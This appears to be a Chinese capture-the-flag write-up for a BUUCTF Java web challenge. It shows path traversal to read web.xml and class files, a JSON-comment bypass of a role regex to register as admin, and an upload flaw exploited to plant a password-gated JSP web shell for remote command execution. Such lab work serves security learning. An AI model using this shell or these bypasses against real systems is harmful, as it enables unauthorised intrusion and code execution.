打开靶机是一个登录界面,先注册一个号,弹窗提示Not Allowed
,抓包查看注册界面源码:
<html>
<head>
<title>Register</title>
</head>
<body>
<script>alert('Not Allowed')</script>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
// var obj={};
// obj["username"]='test';
// obj["password"]='test';
// obj["role"]='guest';
function doRegister(obj){
if(obj.username==null || obj.password==null){
alert("用户名或密码不能为空");
}else{
var d = new Object();
d.username=obj.username;
d.password=obj.password;
d.role="guest";
$.ajax({
url:"/register",
type:"post",
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data: "data="+JSON.stringify(d),
dataType: "json",
success:function(data){
alert(data)
}
});
}
}
</script>
</body>
</html>
通过源码可以看到,虽然他弹出了Not Allowed
,但后续的代码仍在执行,POST发包给data传入一个json格式注册:
POST
data={"username":"admin","password":"admin"}
注册成功,拿账号密码登录进入主界面:
可以看到有文件上传和文件下载两个功能,上传功能只有admin权限的账户可以使用,先看看文件下载处有没有漏洞。用Wappalyzer
看了一眼是JAVA环境,抓包读取web.xml
:
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<servlet>
<servlet-name>register</servlet-name>
<servlet-class>com.web.servlet.registerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>login</servlet-name>
<servlet-class>com.web.servlet.loginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>home</servlet-name>
<servlet-class>com.web.servlet.homeServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>com.web.servlet.uploadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.web.servlet.downloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>logout</servlet-name>
<servlet-class>com.web.servlet.logoutServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>logout</servlet-name>
<url-pattern>/logout</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>download</servlet-name>
<url-pattern>/home/download</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>register</servlet-name>
<url-pattern>/register</url-pattern>
</servlet-mapping>
<display-name>java</display-name>
<servlet-mapping>
<servlet-name>login</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>home</servlet-name>
<url-pattern>/home</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>upload</servlet-name>
<url-pattern>/home/upload</url-pattern>
</servlet-mapping>
<filter>
<filter-name>loginFilter</filter-name>
<filter-class>com.web.filter.LoginFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>loginFilter</filter-name>
<url-pattern>/home/*</url-pattern>
</filter-mapping>
<display-name>java</display-name>
<welcome-file-list>
<welcome-file>/WEB-INF/index.jsp</welcome-file>
</welcome-file-list>
</web-app>
看到注册需要的class文件路径,读取一下:
http://6324b375-e066-4101-9815-6d331a45783c.node4.buuoj.cn:81/home/download?file=../../WEB-INF/classes/com/web/servlet/registerServlet.class
用jd-jui
工具打开:
import com.google.gson.Gson;
import com.mysql.cj.util.StringUtils;
import com.web.dao.Person;
import com.web.dao.baseDao;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class registerServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/html;charset=UTF-8");
req.setAttribute("error", "<script>alert('Not Allowed')</script>");
req.getRequestDispatcher("WEB-INF/register.jsp").forward((ServletRequest)req, (ServletResponse)resp);
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setCharacterEncoding("UTF-8");
Integer res = Integer.valueOf(0);
String role = "";
Gson gson = new Gson();
Person person = new Person();
Connection connection = null;
String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");
Matcher matcher = pattern.matcher(var);
while (matcher.find())
role = matcher.group();
if (!StringUtils.isNullOrEmpty(role)) {
var = var.replace(role, "\"role\":\"guest\"");
person = (Person)gson.fromJson(var, Person.class);
} else {
person = (Person)gson.fromJson(var, Person.class);
person.setRole("guest");
}
System.out.println(person);
if (person.getUsername() == null || person.getPassword() == null)
resp.sendError(500, ");
person.setPic("/static/cat.gif");
try {
connection = baseDao.getConnection();
} catch (Exception e) {
e.printStackTrace();
}
if (connection != null) {
String sql_query = "select * from ctf where username=?";
Object[] params1 = { person.getUsername() };
try {
ResultSet rs = baseDao.execute(connection, sql_query, params1);
if (rs.next()) {
System.out.println(rs.next());
resp.sendError(500, "user already exists!");
} else {
String sql = "insert into ctf (username,password,role,pic) values (?,?,?,?)";
Object[] params2 = { person.getUsername(), person.getPassword(), person.getRole(), person.getPic() };
res = Integer.valueOf(baseDao.Update(connection, sql, params2));
}
} catch (SQLException e) {
e.printStackTrace();
}
baseDao.closeResource(connection, null, null);
}
if (res.intValue() == 1)
resp.getWriter().write("register success!");
}
}
看到对role处有正则表达式限制用户属性是guest,这里可以用多行注释绕过正则匹配,注册admin用户:
POST /register
data={"username":"admin","password":"admin","role":"admin"/*,"role":"guest"*/}
再查看一下上传文件的class文件:
http://6324b375-e066-4101-9815-6d331a45783c.node4.buuoj.cn:81/home/download?file=../../WEB-INF/classes/com/web/servlet/uploadServlet.class
看到其中一段代码:
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
item.write(new File(uploadPath + File.separator + name + ext));
req.setAttribute("error", "upload success!");
这里虽然显示上传失败,但没用return跳出,实际上还是上传到目录中去了,所以我们直接传马到目录
木马内容:
<%
if("b".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a=-1;
byte[] b=new byte[2048];
out.print("<pro>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
由于upload目录不可读,我们目录穿越上传到static目录下:
访问./static/shell.jsp
进行RCE获取flag:
参考资料
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com